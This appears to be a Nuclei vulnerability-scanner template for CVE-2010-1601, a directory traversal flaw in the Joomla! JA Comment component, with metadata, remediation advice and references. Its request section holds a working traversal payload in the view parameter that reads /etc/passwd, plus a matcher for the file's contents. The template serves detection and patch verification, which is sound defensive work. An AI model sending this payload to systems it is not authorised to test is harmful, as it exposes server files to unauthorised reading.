id: CVE-2010-1601

info:
  name: Joomla! Component JA Comment - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the JA Comment (com_jacomment) component for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the view parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to read arbitrary files on the server, leading to unauthorized access and potential data leakage.
  remediation: |
    Apply the latest security patches or upgrade to a patched version of Joomla! Component JA Comment to mitigate the LFI vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12236
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1601
    - http://packetstormsecurity.org/1004-exploits/joomlajacomment-lfi.txt
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/57848
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-1601
    cwe-id: CWE-22
    epss-score: 0.01299
    epss-percentile: 0.84437
    cpe: cpe:2.3:a:joomlamart:com_jacomment:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: joomlamart
    product: com_jacomment
  tags: cve,cve2010,joomla,lfi,edb,packetstorm,joomlamart

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_jacomment&view=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502210097b2518e36f765bf1859fe172670ecd77886665cb539f4379bb250f6b6984e6a02207707d1856286f12c7923bf67ba75f1dcc7cc704a1603b96a498ca5e75ed2dbb4:922c64590222798bb761d5b6d8e72950